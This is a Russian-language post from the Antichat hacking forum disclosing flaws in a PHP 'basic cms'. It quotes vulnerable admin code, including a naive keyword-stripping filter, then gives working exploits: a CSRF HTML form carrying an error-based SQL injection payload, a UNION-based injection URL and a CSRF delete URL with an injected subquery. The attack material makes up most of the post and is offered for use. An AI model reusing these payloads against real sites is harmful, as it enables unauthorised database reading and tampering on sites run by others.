Показать сообщение отдельно

123
  #359  
Старый 12.04.2010, 11:00
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами: 9000386

Репутация: 1148
По умолчанию 123

basic cms

CSRF + SQL inj(в админке!)
просто выношу потому что редкий интересный случай1
Admin/Pages/List.php
PHP код:
...
$strAction=QuerySafeString($_POST["txtAction"]);
}
if (
$_SESSION["Admin"] =="Y")
{
$conclass =new DataBase();
if (
$strAction=="DEL")
{
    if (isset(
$_POST['chkSelect']))
    {
        
$strSelection=$_POST['chkSelect'];
        
$strSQL="DELETE FROM pages_t_details WHERE id IN(". join(',', $strSelection) . ")";
        
//print $strSQL;
        
$strErrorMessages="";
        
$var1=$conclass->Execute ($strSQL,$strErrorMessages);
    }... 
Includes/Database.php
PHP код:
...
function 
QuerySafeString($pstrString)
{
    
$badChars = array("\'");
    
$newChars   = array("'");
    
    
$pstrString = str_replace($badChars, $newChars, $pstrString);
    
$pstrString=killChars($pstrString);
    return 
$pstrString;
}... 
Includes/Database.php
PHP код:
...function killChars($strWords)
{

    
$badChars = array("select", "drop", ";", "--", "insert", "delete","Update");
    
$newChars   = array("", "", "", "", "", "", "");

    
$strWords = str_replace($badChars, $newChars, $strWords);
    return  
$strWords;

}... 
Вывод ошибки от СУБД
Includes/Database.php
PHP код:
...
function  
Execute($strSQL,$strErrorMessages)
    {
        
$result = mysql_query($strSQL) or die("Query failed : " . mysql_error());
        return 
$result;

    }... 
Result:
<FORM action="http://localhost/basiccms/Admin/Pages/List.php?txtAction=" method="POST">
<INPUT type="checkbox" name="chkSelect[]" id="chkSelect[]" value="666" checked>
<INPUT type="checkbox" name="chkSelect[]" id="chkSelect[]" value="(Select * from (Select name_const(version(),1),name_const(version(),1))x) " checked>
<INPUT type="checkbox" name="txtAction" value="DEL" checked>
<input type=submit value="inj">
</FORM>

SQL inj
Admin/Pages/AddModifyInput.php
PHP код:
...$strsql = "SELECT id, title,description,startpage FROM pages_t_details WHERE id=" . $strID;
    
$rst= $conclass->Execute ($strsql,$strError);... 
Result:
http://localhost/basiccms/admin/pages/AddModifyinput.php?ID=9+union+Select+1,version%28% 29,3,4

Также уязвим Admin./Pages/AddModifyDelete.php
XSRF+SQL inj(права админа!)
PHP код:
...$strsql="DELETE FROM pages_t_details ";
        
$strsql.= " WHERE id=" .SQLSafeString($strID);... 

Result:

http://localhost/basiccms/admin/pages/AddModifyInput.php?action=DEL&ID=1+or+%281,2%29=%2 8Select%20*%20from%20%28Select%20name_const%28vers ion%28%29,1%29,name_const%28version%28%29,1%29%29x %29

ps еще можна было провести (в других файлах) XSRF на добавление пользователей, ... + SQL inj(права админа).

Последний раз редактировалось Strilo4ka; 15.04.2010 в 05:59..
 
Ответить с цитированием